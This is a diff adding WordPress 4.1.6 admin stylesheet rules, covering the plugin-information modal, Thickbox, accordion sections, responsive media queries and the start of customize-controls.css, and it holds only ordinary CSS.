+#plugin-information .fyi h2 {
+	font-size: 0.9em;
+	margin-bottom: 0;
+	margin-right: 0;
+}
+
+#plugin-information .fyi ul {
+	padding: 0;
+	margin: 0;
+	list-style: none;
+}
+
+#plugin-information .fyi li {
+	margin: 0 0 10px;
+}
+
+#plugin-information .counter-container {
+	margin: 3px 0;
+}
+
+#plugin-information .counter-label {
+	float: left;
+	margin-right: 5px;
+	min-width: 55px;
+}
+
+#plugin-information .counter-back {
+	height: 17px;
+	width: 92px;
+	background-color: #ececec;
+	float: left;
+}
+
+#plugin-information .counter-bar {
+	height: 17px;
+	background-color: #fddb5a;
+	float: left;
+}
+
+#plugin-information .counter-count {
+	margin-left: 5px;
+}
+
+#plugin-information .fyi ul.contributors {
+	margin-top: 10px;
+}
+
+#plugin-information .fyi ul.contributors li {
+	display: inline-block;
+	margin-right: 8px;
+	vertical-align: middle;
+}
+
+#plugin-information .fyi ul.contributors li {
+	display: inline-block;
+	margin-right: 8px;
+	vertical-align: middle;
+}
+
+#plugin-information .fyi ul.contributors li img {
+	vertical-align: middle;
+	margin-right: 4px;
+}
+
+#plugin-information-footer {
+	padding: 15px 16px;
+	position: absolute;
+	right: 0;
+	bottom: 0;
+	left: 0;
+	height: 28px;
+	border-top: 1px solid #ddd;
+	background: #f3f3f3;
+}
+
+/* @noflip */
+#plugin-information .section {
+	direction: ltr;
+}
+
+/* @noflip */
+#plugin-information .section ul,
+#plugin-information .section ol {
+	list-style-type: disc;
+	margin-left: 24px;
+}
+
+#plugin-information .section,
+#plugin-information .section p {
+	font-size: 14px;
+	line-height: 1.7;
+}
+
+#plugin-information #section-screenshots ol {
+	list-style: none;
+	margin: 0;
+}
+
+#plugin-information #section-screenshots li img {
+	vertical-align: text-top;
+	margin-top: 16px;
+	max-width: 100%;
+	width: auto;
+	height: auto;
+	-webkit-box-shadow: 0 1px 2px rgba( 0, 0, 0, 0.3 );
+	box-shadow: 0 1px 2px rgba( 0, 0, 0, 0.3 );
+}
+
+/* @noflip */
+#plugin-information #section-screenshots li p {
+	font-style: italic;
+	padding-left: 20px;
+}
+
+#plugin-information pre {
+	padding: 7px;
+	overflow: auto;
+	border: 1px solid #ccc;
+}
+
+/* @noflip */
+#plugin-information .review {
+	overflow: hidden; /* clearfix */
+	width: 100%;
+	margin-bottom: 20px;
+	border-bottom: 1px solid #e6e6e6;
+}
+
+#plugin-information .review-title-section {
+	overflow: hidden; /* clearfix */
+}
+
+/* @noflip */
+#plugin-information .review-title-section h4 {
+	display: inline-block;
+	float: left;
+	margin: 0 6px 0 0;
+}
+
+#plugin-information .reviewer-info p {
+	clear: both;
+	margin: 0;
+	padding-top: 2px;
+}
+
+/* @noflip */
+#plugin-information .reviewer-info .avatar {
+	float: left;
+	margin: 4px 6px 0 0;
+}
+
+/* @noflip */
+#plugin-information .reviewer-info .star-rating {
+	float: left;
+}
+
+/* @noflip */
+#plugin-information .review-meta {
+	float: left;
+	margin-left: 0.75em;
+}
+
+/* @noflip */
+#plugin-information .review-body {
+	float: left;
+	width: 100%;
+}
+
+.plugin-version-author-uri {
+	font-size: 13px;
+}
+
+@media screen and ( max-width: 771px ) {
+	#plugin-information-title.with-banner {
+		height: 100px;
+		bottom: 100px;
+	}
+
+	#plugin-information-title.with-banner h2 {
+		margin-top: 30px;
+		font-size: 20px;
+		line-height: 40px;
+		max-width: 85%;
+	}
+
+	#plugin-information-title.with-banner div.vignette {
+		height: 100px;
+		bottom: 100px;
+		width: 800%;
+	}
+
+	#plugin-information-tabs {
+		overflow: hidden; /* clearfix */
+		padding: 0;
+		height: auto; /* let tabs wrap */
+	}
+
+	#plugin-information-tabs a.current {
+		margin-bottom: 0;
+		border-bottom: none;
+	}
+
+	#plugin-information .fyi {
+		float: none;
+		border: 1px solid #ddd;
+		position: static;
+		width: auto;
+		margin: 26px 26px 0;
+		padding-bottom: 0; /* reset from the two column height fix */
+	}
+
+	#section-holder {
+		position: static;
+		margin: 0;
+		padding-bottom: 70px; /* reset from the two column height fix, plus accomodate footer */
+	}
+
+	#plugin-information .fyi h3,
+	#plugin-information .fyi small {
+		display: none;
+	}
+
+	#plugin-information-footer {
+		padding: 12px 16px 0;
+		height: 46px;
+	}
+}
+
+/* Thickbox for Plugin Install screen */
+body.plugin-install-php #TB_window,
+body.import-php #TB_window,
+body.plugins-php #TB_window,
+body.update-core-php #TB_window,
+body.index-php #TB_window {
+	background: #fcfcfc url( ../images/spinner.gif ) no-repeat center;
+}
+
+@media print,
+	(-o-min-device-pixel-ratio: 5/4),
+	(-webkit-min-device-pixel-ratio: 1.25),
+	(min-resolution: 120dpi) {
+
+	body.plugin-install-php #TB_window,
+	body.import-php #TB_window,
+	body.plugins-php #TB_window,
+	body.update-core-php #TB_window,
+	body.index-php #TB_window {
+		background: #fcfcfc url( ../images/spinner-2x.gif ) no-repeat center;
+		-webkit-background-size: 20px 20px;
+		background-size: 20px 20px;
+	}
+}
+
+body.plugin-install-php #TB_title,
+body.import-php #TB_title,
+body.plugins-php #TB_title,
+body.update-core-php #TB_title,
+body.index-php #TB_title {
+	float: left;
+	height: 1px;
+}
+
+body.plugin-install-php #TB_ajaxWindowTitle,
+body.import-php #TB_ajaxWindowTitle,
+body.plugins-php #TB_ajaxWindowTitle,
+body.update-core-php #TB_ajaxWindowTitle,
+body.index-php #TB_ajaxWindowTitle {
+	display: none;
+}
+
+body.plugin-install-php .tb-close-icon,
+body.import-php .tb-close-icon,
+body.plugins-php .tb-close-icon,
+body.update-core-php .tb-close-icon,
+body.index-php .tb-close-icon {
+	left: auto;
+	right: -30px;
+	color: #eee;
+	-webkit-transition: color .1s ease-in-out, background .1s ease-in-out;
+	transition: color .1s ease-in-out, background .1s ease-in-out;
+}
+
+body.plugin-install-php #TB_closeWindowButton:focus,
+body.plugin-install-php #TB_closeWindowButton:focus .tb-close-icon,
+body.plugin-install-php .tb-close-icon:focus,
+body.plugin-install-php .tb-close-icon:hover,
+body.import-php #TB_closeWindowButton:focus,
+body.import-php #TB_closeWindowButton:focus .tb-close-icon,
+body.import-php .tb-close-icon:focus,
+body.import-php .tb-close-icon:hover,
+body.plugins-php #TB_closeWindowButton:focus,
+body.plugins-php #TB_closeWindowButton:focus .tb-close-icon,
+body.plugins-php .tb-close-icon:focus,
+body.plugins-php .tb-close-icon:hover,
+body.update-core-php #TB_closeWindowButton:focus,
+body.update-core-php #TB_closeWindowButton:focus .tb-close-icon,
+body.update-core-php .tb-close-icon:focus,
+body.update-core-php .tb-close-icon:hover,
+body.index-php #TB_closeWindowButton:focus,
+body.index-php #TB_closeWindowButton:focus .tb-close-icon,
+body.index-php .tb-close-icon:focus,
+body.index-php .tb-close-icon:hover {
+	color: #2ea2cc;
+	outline: none;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+body.plugin-install-php .tb-close-icon:before,
+body.import-php .tb-close-icon:before,
+body.plugins-php .tb-close-icon:before,
+body.update-core-php .tb-close-icon:before,
+body.index-php .tb-close-icon:before {
+	content: "\f335";
+	font-size: 32px;
+}
+
+/* move plugin install close icon to top on narrow screens */
+@media screen and ( max-width: 830px ) {
+	body.plugin-install-php .tb-close-icon,
+	body.import-php .tb-close-icon,
+	body.plugins-php .tb-close-icon,
+	body.update-core-php .tb-close-icon,
+	body.index-php .tb-close-icon {
+		right: 0;
+		top: -30px;
+	}
+}
+
+/* @todo: move this. */
+img {
+	border: none;
+}
+
+/* Header */
+/* @todo: are these also specific to Press This? */
+#wphead {
+	border-bottom: 1px solid #dfdfdf;
+}
+
+#wphead h1 a {
+	color: #464646;
+}
+
+/* @todo: these seem misplaced */
+.js .meta-box-sortables .postbox:hover .handlediv {
+	margin-right: 0 !important;
+}
+
+/* Metabox collapse arrow indicators */
+.js .sidebar-name .sidebar-name-arrow:before,
+.js .meta-box-sortables .postbox .handlediv:before {
+	right: 12px;
+	font: normal 20px/1 'dashicons';
+	speak: none;
+	display: inline-block;
+	padding: 8px 10px;
+	top: 0;
+	position: relative;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	text-decoration: none !important;
+}
+
+.js #widgets-left .sidebar-name .sidebar-name-arrow {
+	display: none;
+}
+
+.js #widgets-left .widgets-holder-wrap.closed .sidebar-name .sidebar-name-arrow,
+.js #widgets-left .sidebar-name:hover .sidebar-name-arrow {
+	display: block;
+}
+
+/* Show the arrow only on hover */
+.js .sidebar-name .sidebar-name-arrow:before,
+.js .meta-box-sortables .postbox .handlediv:before {
+	content: '\f142';
+}
+
+.js .widgets-holder-wrap.closed .sidebar-name-arrow:before,
+.js .meta-box-sortables .postbox.closed .handlediv:before {
+	content: '\f140';
+}
+
+.error a {
+	text-decoration: underline;
+}
+
+.updated a {
+	text-decoration: none;
+	padding-bottom: 2px;
+}
+
+/* @todo: appears to be Press This only and overridden */
+#photo-add-url-div input[type="text"] {
+	width: 300px;
+}
+
+/* Theme/Plugin Editor */
+.alignleft h3 {
+	margin: 0;
+}
+
+#template textarea {
+	font-family: Consolas, Monaco, monospace;
+	font-size: 13px;
+	width: 97%;
+	background: #f9f9f9;
+	outline: none;
+}
+
+/* @noflip */
+#template textarea,
+#docs-list {
+	direction: ltr;
+}
+
+#template p {
+	width: 97%;
+}
+
+#templateside {
+	float: right;
+	width: 190px;
+	word-wrap: break-word;
+}
+
+#templateside h3,
+#postcustomstuff p.submit {
+	margin: 0;
+}
+
+#templateside h4 {
+	margin: 1em 0 0;
+}
+
+#templateside ol,
+#templateside ul {
+	margin: .5em 0;
+	padding: 0;
+}
+
+#templateside li {
+	margin: 4px 0;
+}
+
+#templateside li a,
+.theme-editor-php .highlight {
+	display: block;
+	padding: 3px 3px 3px 12px;
+	text-decoration: none;
+}
+
+.theme-editor-php .highlight {
+	margin: -3px 3px -3px -12px;
+}
+
+#templateside .highlight {
+	border: none;
+	font-weight: bold;
+}
+
+.nonessential {
+	color: #666;
+	font-size: 11px;
+	font-style: italic;
+	padding-left: 12px;
+}
+
+#documentation {
+	margin-top: 10px;
+}
+
+#documentation label {
+	line-height: 22px;
+	vertical-align: baseline;
+	font-weight: 600;
+}
+
+.fileedit-sub {
+	padding: 10px 0 8px;
+	line-height: 180%;
+}
+
+/* @todo: can we use a common class for these? */
+.nav-menus-php .item-edit:before,
+.widget-top a.widget-action:after,
+.control-section .accordion-section-title:after,
+.accordion-section-title:after {
+	right: 0;
+	content: '\f140';
+	border: none;
+	background: none;
+	font: normal 20px/1 'dashicons';
+	speak: none;
+	display: block;
+	padding: 0;
+	text-indent: 0;
+	text-align: center;
+	position: relative;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	text-decoration: none !important;
+}
+
+.widget-action,
+.handlediv,
+.item-edit,
+.sidebar-name-arrow,
+.accordion-section-title:after {
+	color: #aaa;
+}
+
+.widget-action:hover,
+.handlediv:hover,
+.item-edit:hover,
+.sidebar-name:hover .sidebar-name-arrow,
+.accordion-section-title:hover:after {
+	color: #777;
+}
+
+.widget-top a.widget-action:after {
+	padding: 12px 12px 11px;
+}
+
+.widget-top a.widget-action:focus:after {
+	-webkit-box-shadow: 0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,.8);
+	box-shadow: 0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,.8);
+}
+
+.nav-menus-php .item-edit:before {
+	line-height: 2.1;
+}
+
+.control-section .accordion-section-title:after,
+.accordion-section-title:after {
+	float: right;
+	right: 20px;
+	top: -2px;
+}
+
+.control-section.open .accordion-section-title:after,
+#customize-info.open .accordion-section-title:after,
+.nav-menus-php .menu-item-edit-active .item-edit:before,
+.widget.open .widget-top a.widget-action:after {
+	content: '\f142';
+}
+
+/*!
+ * jQuery UI Draggable/Sortable 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+.ui-draggable-handle,
+.ui-sortable-handle {
+	-ms-touch-action: none;
+	touch-action:     none;
+}
+
+/* Accordion */
+.accordion-section {
+	border-bottom: 1px solid #dfdfdf;
+	margin: 0;
+}
+
+.accordion-section.open .accordion-section-content,
+.no-js .accordion-section .accordion-section-content {
+	display: block;
+}
+
+.accordion-section.open:hover {
+	border-bottom-color: #dfdfdf;
+}
+
+.accordion-section-content {
+	display: none;
+	padding: 10px 20px 15px;
+	overflow: hidden;
+	background: #fff;
+}
+
+.accordion-section-title {
+	margin: 0;
+	padding: 12px 15px 15px;
+	position: relative;
+	border-left: 1px solid #dfdfdf;
+	border-right: 1px solid #dfdfdf;
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.js .accordion-section-title {
+	cursor: pointer;
+}
+
+.js .accordion-section-title:after {
+	position: absolute;
+	top: 12px;
+	right: 10px;
+	z-index: 1;
+}
+
+.accordion-section-title:focus {
+	outline: none;
+}
+
+.accordion-section-title:hover:after,
+.accordion-section-title:focus:after {
+	border-color: #aaa transparent;
+}
+
+.cannot-expand .accordion-section-title {
+	cursor: auto;
+}
+
+.cannot-expand .accordion-section-title:after {
+	display: none;
+}
+
+.control-section .accordion-section-title {
+	border-left: none;
+	border-right: none;
+	padding: 10px 10px 11px 14px;
+	line-height: 21px;
+	background: #fff;
+}
+
+.control-section .accordion-section-title:after {
+	top: 11px;
+}
+
+.js .control-section:hover .accordion-section-title,
+.js .control-section .accordion-section-title:hover,
+.js .control-section.open .accordion-section-title,
+.js .control-section .accordion-section-title:focus {
+	color: #222;
+	background: #f5f5f5;
+}
+
+.control-section.open .accordion-section-title {
+	/* When expanded */
+	border-bottom: 1px solid #dfdfdf;
+}
+
+/* =Media Queries
+-------------------------------------------------------------- */
+
+/* @todo: de-duplication */
+@media only screen and (min-width: 769px) {
+	/* categories */
+	#col-left {
+		width: 35%;
+	}
+
+	#col-right {
+		width: 65%;
+	}
+}
+
+@media only screen and (max-width: 860px) {
+
+	/* categories */
+	#col-left {
+		width: 35%;
+	}
+
+	#col-right {
+		width: 65%;
+	}
+}
+
+@media only screen and (min-width: 980px) {
+
+	/* categories */
+	#col-left {
+		width: 35%;
+	}
+
+	#col-right {
+		width: 65%;
+	}
+}
+
+@media only screen and (max-width: 768px) {
+	/* categories */
+	#col-left {
+		width: 100%;
+	}
+
+	#col-right {
+		width: 100%;
+	}
+}
+
+/**
+ * HiDPI Displays
+ */
+@media print,
+  (-o-min-device-pixel-ratio: 5/4),
+  (-webkit-min-device-pixel-ratio: 1.25),
+  (min-resolution: 120dpi) {
+	/* Back-compat for pre-3.8 */
+	div.star-holder,
+	div.star-holder .star-rating {
+		background: url(../images/stars-2x.png?ver=20121108) repeat-x bottom left;
+		-webkit-background-size: 21px 37px;
+		background-size: 21px 37px;
+	}
+
+	.spinner {
+		background-image: url(../images/spinner-2x.gif);
+	}
+
+	/* @todo: evaluate - most of these were likely replaced by dashicons */
+	.curtime #timestamp,
+	#screen-meta-links a.show-settings,
+	.widget-top a.widget-action,
+	.widget-top a.widget-action:hover,
+	.sidebar-name-arrow,
+	.sidebar-name:hover .sidebar-name-arrow,
+	.meta-box-sortables .postbox:hover .handlediv,
+	.tagchecklist span a,
+	#bulk-titles div a,
+	.tagchecklist span a:hover,
+	#bulk-titles div a:hover {
+		background: none !important;
+	}
+
+}
+
+@-ms-viewport {
+	width: device-width;
+}
+
+@media screen and ( max-width: 782px ) {
+	html.wp-toolbar {
+		padding-top: 46px;
+	}
+
+	body {
+		min-width: 240px;
+		overflow-x: hidden;
+	}
+
+	body * {
+		-webkit-tap-highlight-color: rgba(0, 0, 0, 0) !important;
+	}
+
+	#wpcontent {
+		position: relative;
+		margin-left: 0;
+		padding-left: 10px;
+	}
+
+	#wpbody-content {
+		padding-bottom: 100px;
+	}
+
+	.wrap {
+		margin-right: 12px;
+		margin-left: 0;
+	}
+
+	.col-wrap {
+		padding: 0;
+	}
+
+	/* Hidden Elements */
+	#screen-meta,
+	#screen-meta-links,
+	#collapse-menu,
+	.post-format-select {
+		display: none !important;
+	}
+
+	.wrap .add-new-h2, .wrap .add-new-h2:active {
+		padding: 10px 15px;
+		font-size: 14px;
+	}
+
+	.wp-color-result {
+		height: auto;
+		padding-left: 45px;
+	}
+
+	.wp-color-result:after {
+		font-size: 14px;
+		height: auto;
+		padding: 6px 14px;
+	}
+
+	/* Feedback Messages */
+	.wrap div.updated, .wrap div.error, .media-upload-form div.error {
+		margin: 20px 0 10px 0;
+		padding: 5px 10px;
+		font-size: 14px;
+		line-height: 175%;
+	}
+
+	.wrap .icon32 + h2 {
+		margin-top: -2px;
+	}
+
+	.wp-responsive-open #wpbody {
+		right: -190px;
+	}
+
+	code {
+		word-wrap: break-word;
+	}
+
+	/* General Metabox */
+	.postbox {
+		font-size: 14px;
+	}
+
+	.metabox-holder h3 {
+		padding: 12px;
+	}
+
+	.postbox .handlediv {
+		margin-top: 3px;
+	}
+
+	/* Subsubsub Nav */
+	.subsubsub {
+		font-size: 16px;
+		text-align: center;
+		margin-bottom: 15px;
+	}
+
+	/* Theme/Plugin File Editor */
+	#templateside {
+		float: none;
+		width: auto;
+	}
+
+	#templateside li {
+		margin: 0;
+	}
+
+	#templateside li a {
+		display: block;
+		padding: 5px;
+	}
+
+	#templateside .highlight {
+		padding: 5px;
+		margin-left: -5px;
+		margin-top: -5px;
+	}
+
+	#template div {
+		float: none;
+		margin: 0;
+		width: auto;
+	}
+
+	#template textarea {
+		width: 100%;
+	}
+
+	.fileedit-sub .alignright {
+		margin-top: 15px;
+	}
+
+	#wpfooter {
+		display: none;
+	}
+
+	#comments-form .checkforspam {
+		display: none;
+	}
+}
+
+/* Smartphone */
+@media screen and (max-width: 600px) {
+	/* Disable horizontal scroll when responsive menu is open
+	   since we push the main content off to the right. */
+	#wpwrap.wp-responsive-open {
+		overflow-x: hidden;
+	}
+
+	html.wp-toolbar {
+		padding-top: 0;
+	}
+
+	#wpbody {
+		padding-top: 46px;
+	}
+
+	/* Keep full-width boxes on Edit Post page from causing horizontal scroll */
+	div#post-body.metabox-holder.columns-1 {
+		overflow-x: hidden;
+	}
+}
Index: /tags/4.1.6/src/wp-admin/css/customize-controls.css
===================================================================
--- /tags/4.1.6/src/wp-admin/css/customize-controls.css	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/customize-controls.css	(revision 33402)
@@ -0,0 +1,850 @@
+body {
+	overflow: hidden;
+}
+
+#customize-controls a {
+	text-decoration: none;
+}
+
+#customize-controls h3 {
+	font-size: 14px;
+}
+
+#customize-controls img {
+	max-width: 100%;
+}
+
+#customize-controls .submit {
+	text-align: center;
+}
+
+#customize-controls .description {
+	color: #666666;
+}
+
+#customize-header-actions .button-primary {
+	float: right;
+	margin-top: 9px;
+}
+
+#customize-header-actions .spinner {
+	margin-top: 16px;
+	margin-right: 4px;
+}
+
+.saving #customize-header-actions .spinner {
+	display: block;
+}
+
+#customize-header-actions {
+	border-bottom: 1px solid #ddd;
+}
+
+#customize-controls .wp-full-overlay-sidebar-content {
+	overflow-y: auto;
+	overflow-x: hidden;
+}
+
+#customize-info {
+	border: none;
+	border-top: 1px solid #ddd;
+}
+
+#customize-info .accordion-section-title {
+	background-color: #fff;
+	color: #666666;
+	border-left: none;
+	border-right: none;
+	border-bottom: 1px solid #eeeeee;
+}
+
+#customize-info.open .accordion-section-title:after,
+#customize-info .accordion-section-title:hover:after,
+#customize-info .accordion-section-title:focus:after {
+	color: #555555;
+}
+
+#customize-info .preview-notice {
+	font-size: 13px;
+	line-height: 24px;
+}
+
+#customize-info .theme-name {
+	font-size: 20px;
+	font-weight: 200;
+	line-height: 24px;
+	display: block;
+}
+
+#customize-info .theme-screenshot {
+	width: 258px;
+}
+
+#customize-info .theme-description {
+	margin-top: 1em;
+	color: #666666;
+	line-height: 20px;
+}
+
+#customize-theme-controls .control-section {
+	border: none;
+}
+
+#customize-theme-controls .accordion-section-title {
+	color: #555555;
+	background-color: #fff;
+	border-bottom: 1px solid #eeeeee;
+}
+
+#customize-theme-controls .accordion-section-content {
+	color: #555555;
+	background: #fff;
+}
+
+#customize-info.open .accordion-section-title,
+#customize-info .accordion-section-title:hover,
+#customize-info .accordion-section-title:focus,
+#customize-theme-controls .control-section:hover > .accordion-section-title,
+#customize-theme-controls .control-section .accordion-section-title:hover,
+#customize-theme-controls .control-section.open .accordion-section-title,
+#customize-theme-controls .control-section .accordion-section-title:focus {
+	color: #222;
+	background: #f5f5f5;
+}
+
+.js .control-section:hover .accordion-section-title,
+.js .control-section .accordion-section-title:hover,
+.js .control-section.open .accordion-section-title,
+.js .control-section .accordion-section-title:focus {
+	background: #f5f5f5;
+}
+
+#customize-theme-controls .control-section:hover > .accordion-section-title:after,
+#customize-theme-controls .control-section .accordion-section-title:hover:after,
+#customize-theme-controls .control-section.open .accordion-section-title:after,
+#customize-theme-controls .control-section .accordion-section-title:focus:after {
+	color: #555;
+}
+
+#customize-info.open,
+#customize-theme-controls .control-section.open {
+	border-bottom: 1px solid #eeeeee;
+}
+
+#customize-theme-controls .control-section.open .accordion-section-title {
+	border-bottom-color: #eeeeee !important;
+}
+
+#customize-theme-controls .control-section:last-of-type.open,
+#customize-theme-controls .control-section:last-of-type > .accordion-section-title {
+	border-bottom-color: #ddd;
+}
+
+#customize-theme-controls > ul,
+#customize-theme-controls .accordion-section-content {
+	margin: 0;
+}
+
+.control-section.control-panel > .accordion-section-title {
+	padding-right: 54px;
+}
+
+.control-section.control-panel > .accordion-section-title:after {
+	content: "\f345";
+	background: #f5f5f5;
+	color: #555;
+	width: 38px;
+	height: 100%;
+	margin: -11px -10px -11px 0; /* compensate for positioning */
+	line-height: 45px;
+	padding-left: 5px;
+	border-left: 1px solid #eee;
+	z-index: 0;
+}
+
+.rtl .control-section.control-panel > .accordion-section-title:after {
+	content: "\f341";
+}
+
+#customize-theme-controls .control-section.control-panel > h3.accordion-section-title:focus:after,
+#customize-theme-controls .control-section.control-panel > h3.accordion-section-title:hover:after {
+	background: #ddd;
+	color: #000;
+	border: 1px solid #d9d9d9;
+	border-right: none;
+	margin-top: -12px;
+	line-height: 44px;
+	z-index: 1;
+}
+
+.accordion-sub-container.control-panel-content {
+	display: none;
+	position: absolute;
+	left: 300px;
+	top: 0;
+	width: 300px;
+	border-top: 1px solid #ddd;
+	-webkit-transition: left ease-in-out .18s;
+	transition: left ease-in-out .18s;
+}
+
+.accordion-sub-container.control-panel-content.animating {
+	display: block;
+}
+
+.current-panel .accordion-sub-container.control-panel-content {
+	width: 100%;
+}
+
+.customize-controls-close {
+	display: block;
+	position: absolute;
+	top: 0;
+	left: 0;
+	width: 45px;
+	height: 45px;
+	padding-right: 2px;
+	background: #eee;
+	border-right: 1px solid #ddd;
+	color: #444;
+	cursor: pointer;
+	-webkit-transition: color .1s ease-in-out, background .1s ease-in-out;
+	transition: color .1s ease-in-out, background .1s ease-in-out;
+}
+
+.control-panel-back {
+	display: block;
+	position: fixed;
+	top: 0;
+	z-index: 99;
+	left: -48px;
+	width: 45px;
+	height: 45px;
+	padding-right: 2px;
+	background: #eee;
+	border-right: 1px solid #ddd;
+	cursor: pointer;
+	-webkit-transition: left .18s ease-in-out, color .1s ease-in-out, background .1s ease-in-out;
+	transition: left .18s ease-in-out, color .1s ease-in-out, background .1s ease-in-out;
+}
+
+.collapsed .control-panel-back {
+	display: none;
+}
+
+.customize-controls-close:focus,
+.customize-controls-close:hover,
+.control-panel-back:focus,
+.control-panel-back:hover {
+	background: #ddd;
+	border-color: #ccc;
+	color: #000;
+	outline: none;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+.customize-controls-close:before {
+	font: normal 22px/1 dashicons;
+	content: "\f335";
+	position: relative;
+	top: 7px;
+	left: 13px;
+}
+
+.control-panel-back:before {
+	font: normal 20px/1 dashicons;
+	content: "\f341";
+	position: relative;
+	top: 7px;
+	left: 13px;
+}
+
+.rtl .control-panel-back:before {
+	content: "\f345";
+}
+
+.in-sub-panel .control-panel-back {
+	left: 0;
+}
+
+.current-panel > .accordion-section-title {
+	height: 22px;
+}
+
+.wp-full-overlay-sidebar .wp-full-overlay-header {
+	-webkit-transition: padding ease-in-out .18s;
+	transition: padding ease-in-out .18s;
+}
+
+.in-sub-panel .wp-full-overlay-sidebar .wp-full-overlay-header {
+	padding-left: 62px;
+}
+
+#customize-info,
+#customize-theme-controls > ul > .accordion-section {
+	position: relative;
+	left: 0;
+	-webkit-transition: left ease-in-out .18s;
+	transition: left ease-in-out .18s;
+}
+
+.in-sub-panel #customize-info,
+.in-sub-panel #customize-theme-controls > ul > .accordion-section {
+	left: -300px;
+	width: 300px;
+}
+
+.in-sub-panel #customize-theme-controls .accordion-section.current-panel {
+	width: 100%;
+}
+
+#customize-theme-controls .control-section.current-panel {
+	padding: 0;
+}
+
+#customize-theme-controls .control-section > h3.accordion-section-title {
+	position: relative;
+	left: 0;
+}
+
+#customize-theme-controls .control-section.current-panel > h3.accordion-section-title {
+	left: -300px;
+	-webkit-transition: left ease-in-out .18s;
+	transition: left ease-in-out .18s;
+}
+
+.control-section.control-panel .accordion-section-title .panel-title {
+	font-size: 20px;
+	font-weight: 200;
+	line-height: 24px;
+	display: block;
+	border: none;
+}
+
+.control-section.control-panel .preview-notice {
+	font-size: 13px;
+	line-height: 24px;
+}
+
+p.customize-section-description {
+	font-style: normal;
+}
+
+.customize-control {
+	width: 100%;
+	float: left;
+	clear: both;
+	margin-bottom: 8px;
+}
+
+.customize-control select,
+.customize-control input[type="radio"],
+.customize-control input[type="checkbox"] {
+	line-height: 28px;
+}
+
+.customize-control input[type="text"],
+.customize-control input[type="password"],
+.customize-control input[type="email"],
+.customize-control input[type="number"],
+.customize-control input[type="search"],
+.customize-control input[type="tel"],
+.customize-control input[type="url"] {
+	width: 98%;
+	line-height: 18px;
+	margin: 0;
+}
+
+.customize-control-textarea textarea {
+	width: 100%;
+	resize: vertical;
+}
+
+.customize-control select {
+	min-width: 50%;
+	max-width: 100%;
+	height: 28px;
+	line-height: 28px;
+}
+
+.customize-control select[multiple] {
+	height: auto;
+}
+
+.customize-control-title {
+	display: block;
+	font-size: 14px;
+	line-height: 24px;
+	font-weight: 600;
+	margin-bottom: 5px;
+}
+
+.customize-control-description {
+	display: block;
+	font-style: italic;
+	line-height: 18px;
+	margin-bottom: 5px;
+}
+
+.customize-control-color .color-picker,
+.customize-control-checkbox label,
+.customize-control-upload div {
+	line-height: 28px;
+}
+
+.customize-control-checkbox input {
+	margin-right: 5px;
+}
+
+.customize-control-radio {
+	padding: 5px 0 10px;
+}
+
+.customize-control-radio .customize-control-title {
+	margin-bottom: 0;
+	line-height: 22px;
+}
+
+.customize-control-radio .customize-control-title + .customize-control-description {
+	margin-top: 7px;
+}
+
+.customize-control-radio label {
+	line-height: 32px;
+}
+
+.customize-control-radio input {
+	margin-right: 5px;
+}
+
+.customize-control .attachment-thumb.type-icon {
+	float: left;
+	margin: 10px;
+	width: auto;
+}
+
+.customize-control .attachment-title {
+	font-weight: bold;
+	margin: 0;
+	padding: 5px 10px;
+}
+
+.customize-control .attachment-meta {
+	white-space: nowrap;
+	overflow: hidden;
+	text-overflow: ellipsis;
+	margin: 0;
+	padding: 5px 10px 0;
+}
+
+.customize-control .attachment-meta-title {
+	padding-top: 7px;
+}
+
+.customize-control .thumbnail-image {
+	line-height: 0;
+}
+
+.customize-control .thumbnail-image img {
+	cursor: pointer;
+}
+
+#customize-preview iframe {
+	width: 100%;
+	height: 100%;
+}
+
+.wp-full-overlay-sidebar {
+	background: #eeeeee;
+	border-right: 1px solid #ddd;
+}
+
+.collapse-sidebar {
+	background-color: transparent !important;
+	border: none !important;
+	-webkit-box-shadow: none !important;
+	box-shadow: none !important;
+	-webkit-border-radius: 0 !important;
+	border-radius: 0 !important;
+}
+
+
+.collapse-sidebar:active,
+.collapse-sidebar:active .collapse-sidebar-label,
+.collapse-sidebar:active .collapse-sidebar-arrow:before {
+	text-shadow: none;
+}
+
+.collapsed .collapse-sidebar-arrow:before {
+	color: #888;
+}
+
+/* Style for custom settings */
+
+/*
+ * Dropdowns
+ */
+.accordion-section .dropdown {
+	float: left;
+	display: block;
+	position: relative;
+	cursor: pointer;
+}
+
+.accordion-section .dropdown-content {
+	overflow: hidden;
+	float: left;
+	min-width: 30px;
+	height: 16px;
+	line-height: 16px;
+	margin-right: 16px;
+	padding: 4px 5px;
+	border: 2px solid #eeeeee;
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.customize-control .dropdown-arrow {
+	position: absolute;
+	top: 0;
+	bottom: 0;
+	right: 0;
+	width: 20px;
+	background: #eeeeee;
+}
+
+.customize-control .dropdown-arrow:after {
+	content: "\f140";
+	font: normal 20px/1 'dashicons';
+	speak: none;
+	display: block;
+	padding: 0;
+	text-indent: 0;
+	text-align: center;
+	position: relative;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	text-decoration: none !important;
+	color: #333;
+}
+
+.customize-control .dropdown-status {
+	color: #333;
+	background: #eeeeee;
+	display: none;
+	max-width: 112px;
+}
+
+/* Color Picker */
+.customize-control-color .color-picker-hex {
+	display: none;
+}
+
+.customize-control-color.open .color-picker-hex {
+	display: block;
+}
+
+.customize-control-color .dropdown {
+	margin-right: 5px;
+	margin-bottom: 5px;
+}
+
+.customize-control-color .dropdown .dropdown-content {
+	background-color: #555555;
+	border: 1px solid rgba(0, 0, 0, 0.15);
+}
+
+.customize-control-color .dropdown:hover .dropdown-content {
+	border-color: rgba(0, 0, 0, 0.25);
+}
+
+/**
+ * iOS can't scroll iframes,
+ * instead it expands the iframe size to match the size of the content
+ */
+.ios .wp-full-overlay {
+	position: relative;
+}
+
